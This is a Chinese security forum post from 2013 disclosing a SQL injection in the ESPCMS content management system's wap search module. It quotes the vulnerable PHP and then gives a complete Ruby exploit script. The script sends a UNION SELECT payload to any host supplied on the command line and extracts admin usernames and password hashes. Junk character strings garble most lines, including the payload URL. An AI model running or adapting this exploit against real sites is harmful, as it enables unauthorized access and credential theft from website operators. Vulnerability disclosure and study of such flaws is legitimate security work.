找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2265|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
1 B  B1 j( h, o5 R0×2 PoC# \7 t  Q0 E, [- g6 K

* ^  I2 W; |# P- G9 y3 G; }3 J6 }, D, y. H2 T; X6 `% i5 f; M

/ Q- z, t0 {7 I0×0 漏洞概述0 v; x  d+ u# o7 G
0 E" L" j' _; `5 _! L! v: X+ v* _
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
# R  m6 Q) E: o. G$ f% u; I其在处理传入的参数时考虑不严谨导致SQL注入发生
  S  `% |. l6 |( ]1 o' ^3 n- l( W3 s; n3 J# l% Z7 m
0 {% @2 t* c0 x
0×1 漏洞细节, }# f  l. c: t1 s& z
4 K6 r- D0 U% g  k9 |0 G: c
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) J0 ~  x  N9 l& {: O, e! M' O7 Y正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。5 n7 @; ~" V, T! ]$ o* q
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
% M8 h9 n9 L# |4 i9 \5 w9 c7 W  W3 o& d$ T
在/interface/3gwap_search.php文件的in_result函数中:. G1 n4 [1 W+ f: Y

8 U- K; }* E8 F6 R; R
0 R& ^! l% G& `" [) F8 k7 F: F, i. `& ^/ N' M
       function in_result() {
) k- ]% i( p: X% ]            ... ... ... ... ... ... ... ... ...) t& ^: e1 B- |# F8 M" V9 t
            $urlcode = $_SERVER[ 'QUERY_STRING '];! A: m5 Z; U/ ?% @3 G
            parse_str(html_entity_decode($urlcode), $output);
( J- V6 g# r* {6 y
6 w3 q$ W: k9 R8 z1 L) `+ x            ... ... ... ... ... ... ... ... ...3 X, I& X4 J; r8 ?# o$ `
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {+ Q% b( ]- v& q) v
/ D) P* c8 J# t3 w
                  $db_table = db_prefix . 'model_att';
8 e4 C$ c) c2 D" b
7 ~7 J( H& S+ X                   foreach ($output['attr' ] as $key => $value) {
4 U/ \; I' C; N1 m' }                         if ($value) {) `# x% j/ ]: p$ M
( `- b3 Q0 w1 h! a# d/ J
                              $key = addslashes($key);
/ i1 s8 s4 ^- ^& M                              $key = $this-> fun->inputcodetrim($key);
7 A% ^, A! j. N                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";- M" n: B6 W* G4 J
                              $countnum = $this->db_numrows($db_table, $db_att_where);
  ?8 ^" y2 K; ^; I  d+ E                               if ($countnum > 0) {9 _0 u) f) L; B- Y' ^5 ^" l& _( h
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;6 p  h# C# X+ P- X
                              }
* s. b: @+ t, e& K3 I  `9 |                        }
9 V0 ?9 L$ d' @8 T                  }
3 w9 r2 R9 Q2 p5 S" }; u            }! k* w; B# O# t$ W3 `
            if (!empty ($keyword) && empty($keyname)) {; W& B4 d& r1 u, s/ X: I
                  $keyname = 'title';" E6 I! H1 O- \$ I  O
                  $db_where.= " AND a.title like '%$keyword%'" ;3 s# {: W8 z$ ^0 s) |
            } elseif (!empty ($keyword) && !empty($keyname)) {2 E2 B- e& O! ?$ J+ ?
                  $db_where.= " AND $keyname like '% $keyword%'";
' ]+ x# [, d% I# X4 I1 c  L2 [            }: t4 ^$ o7 |. E/ F# D: \- m
            $pagemax = 15;
" y& B1 J+ w$ w4 g: U! R
" B; x/ Q5 x4 i            $pagesylte = 1;
0 w' A% i% |$ t8 e( x$ z2 n' u7 A. a, h) j8 _: Y
             if ($countnum > 0) {9 R- u. i0 N9 a1 p, ^, t
' ?! M' G& X( L' Z' i/ _
                  $numpage = ceil($countnum / $pagemax);' A  O. o& @  v" G1 m% ~5 J  D
            } else {+ q6 z  S, W- C2 ~/ n  L4 o
                  $numpage = 1;4 _2 r/ E; g" a  q
            }# F6 @" ^' k4 }* |
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;, N' u" l( f/ d$ W& X5 V
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);8 |' o5 b+ ?7 N2 B
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
. F9 ?% r' O2 S# s) Y            ... ... ... ... ... ... ... ... ..., ?' g" n0 n2 w9 i( |7 ~% l
      }8 d! A+ C$ l5 [' Y. A

+ C3 U* v( u  U8 A* q& C& R+ _7 \2 J, I& h3 ~$ Z( F
0×2 PoC
  }$ V% K1 `% y+ t1 a) w6 j6 M! l0 \$ |  Q; j4 d1 F# o

+ o( x3 R6 v& P& T/ ^6 ^) D: A4 ?4 J4 y9 y6 L; @
require "net/http"
! ?* ^+ O3 ?7 j; R! J# N9 r3 L( Y, X0 z" z8 P$ n' C
def request(method, url)
) ]  X: ]# A" t  {    if method.eql?("get")% V$ h6 i3 x& x; U4 {! g5 Z
        uri = URI.parse(url)
8 Y) p/ @4 @2 l        http = Net::HTTP.new(uri.host, uri.port)3 b/ X! N1 V; Q2 ]: i7 z3 ?
        response = http.request(Net::HTTP::Get.new(uri.request_uri))/ O' u8 @$ L+ ?$ P
        return response- H" u9 K0 l" ?( b
    end
( o# c  N5 W. n2 b# uend
, n; n8 q" b5 V( a; j2 _. V$ ~, U8 T; J" j; n5 D
doc =<<HERE8 s! H# Q* z# }4 F% T: b) E* M$ x
-------------------------------------------------------# l) R  X4 u- k- c* ?
Espcms Injection Exploit
/ W3 I* H3 F' p% PAuthor:ztz
0 a) O  \; X  S( `Blog:http://ztz.fuzzexp.org/
/ W+ `0 i5 j5 I2 l2 [$ |-------------------------------------------------------
6 u+ {0 X: m9 c2 o1 Y7 O" S/ o8 ~9 h8 [: S# a
HERE
1 ~/ z  C( s( [) n7 C- C" K, ]0 a# h5 k3 m; Y) X! T/ ?
usage =<<HERE9 s9 a) d9 [1 N9 P( z5 C1 j1 l
Usage:         ruby #{$0} host port path
( R% f2 N& b4 t( Y' Eexample:     ruby #{$0} www.target.com 80 /
. n, U1 ?+ p7 T$ J$ MHERE
, f/ j( g) A; z
% O) V& r5 E3 Hputs doc
7 U. }8 u: O0 h9 U3 m: @if ARGV.length < 3
2 H7 i) V9 S/ e2 A# T( B: Z    puts usage
) ]) f- O' [0 \2 r* v/ xelse
8 A0 Z3 O# F* n7 y    $host = ARGV[0]
' s# ^. B8 x; d8 h7 U* U    $port = ARGV[1]4 B, f) _: T0 O) S( E/ \! j/ H
    $path = ARGV[2]  \$ h8 N; h4 a+ r: Z
, A" g0 R$ [* S  l+ _
    puts "
  • send request...": W9 J3 P& D4 @$ x: Z# i7 h: o1 j
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    1 l, h0 {3 g% k* L4 A& g- s0 Sattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13; k) ~/ R5 R0 k- ~1 f1 ]
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    2 ~( \8 E6 X9 |1 D,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    % h; C& g3 W- Y    response = request("get", url)* y1 l% O* c' _2 j, f
        result = response.body.scan(/\w+&\w{32}/)( v8 n: y9 O3 r& a
        puts result
    2 q6 |7 o0 W( Tend
    # D# t% ]! D2 l' v  i* z' `1 w% Z+ G5 @$ [, K# i( W) V. A
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表